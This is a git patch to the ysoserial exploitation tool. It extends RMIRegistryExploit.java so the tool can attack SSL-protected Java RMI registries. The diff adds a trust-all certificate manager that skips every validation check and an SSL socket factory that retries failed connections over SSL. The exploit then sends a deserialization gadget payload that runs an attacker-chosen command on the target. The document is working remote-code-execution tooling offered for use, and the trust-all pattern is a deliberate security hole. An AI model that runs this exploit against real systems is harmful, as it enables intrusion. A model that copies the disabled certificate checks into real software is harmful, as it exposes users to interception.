From 477ecb8f05f42b0195a67d9712e97f2c6d31e1da Mon Sep 17 00:00:00 2001 From: Nicky Bloor Date: Mon, 23 Apr 2018 16:49:47 +0100 Subject: [PATCH] Add support for exploiting SSL RMI services. (#81) * Add support for exploiting SSL RMI services. * Make PMD happy. --- .../ysoserial/exploit/RMIRegistryExploit.java | 43 ++++++++++++++++++- 1 file changed, 42 insertions(+), 1 deletion(-) diff --git a/src/main/java/ysoserial/exploit/RMIRegistryExploit.java b/src/main/java/ysoserial/exploit/RMIRegistryExploit.java index aad7dad..186c45e 100644 --- a/src/main/java/ysoserial/exploit/RMIRegistryExploit.java +++ b/src/main/java/ysoserial/exploit/RMIRegistryExploit.java @@ -1,9 +1,19 @@ package ysoserial.exploit; +import java.io.IOException; +import java.net.Socket; +import java.rmi.ConnectIOException; import java.rmi.Remote; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; +import java.rmi.server.RMIClientSocketFactory; +import java.security.cert.X509Certificate; import java.util.concurrent.Callable; +import javax.net.ssl.SSLContext; +import javax.net.ssl.SSLEngine; +import javax.net.ssl.SSLSocketFactory; +import javax.net.ssl.TrustManager; +import javax.net.ssl.X509ExtendedTrustManager; import ysoserial.payloads.CommonsCollections1; import ysoserial.payloads.ObjectPayload; @@ -20,13 +30,44 @@ import ysoserial.secmgr.ExecCheckingSecurityManager; */ @SuppressWarnings({"rawtypes", "unchecked"}) public class RMIRegistryExploit { + private static class TrustAllSSL extends X509ExtendedTrustManager { + private static final X509Certificate[] ANY_CA = {}; + public X509Certificate[] getAcceptedIssuers() { return ANY_CA; } + public void checkServerTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ } + public void checkClientTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ } + public void checkServerTrusted(final X509Certificate[] c, final String t, final SSLEngine e) { /* Do nothing/accept all */ } + public void checkServerTrusted(final X509Certificate[] c, final String t, final Socket e) { /* Do nothing/accept all */ } + public void checkClientTrusted(final X509Certificate[] c, final String t, final SSLEngine e) { /* Do nothing/accept all */ } + public void checkClientTrusted(final X509Certificate[] c, final String t, final Socket e) { /* Do nothing/accept all */ } + } + + private static class RMISSLClientSocketFactory implements RMIClientSocketFactory { + public Socket createSocket(String host, int port) throws IOException { + try { + SSLContext ctx = SSLContext.getInstance("TLS"); + ctx.init(null, new TrustManager[] {new TrustAllSSL()}, null); + SSLSocketFactory factory = ctx.getSocketFactory(); + return factory.createSocket(host, port); + } catch(Exception e) { + throw new IOException(e); + } + } + } + public static void main(final String[] args) throws Exception { final String host = args[0]; final int port = Integer.parseInt(args[1]); final String command = args[3]; - final Registry registry = LocateRegistry.getRegistry(host, port); + Registry registry = LocateRegistry.getRegistry(host, port); final String className = CommonsCollections1.class.getPackage().getName() + "." + args[2]; final Class payloadClass = (Class) Class.forName(className); + + // test RMI registry connection and upgrade to SSL connection on fail + try { + registry.list(); + } catch(ConnectIOException ex) { + registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory()); + } // ensure payload doesn't detonate during construction or deserialization exploit(registry, payloadClass, command);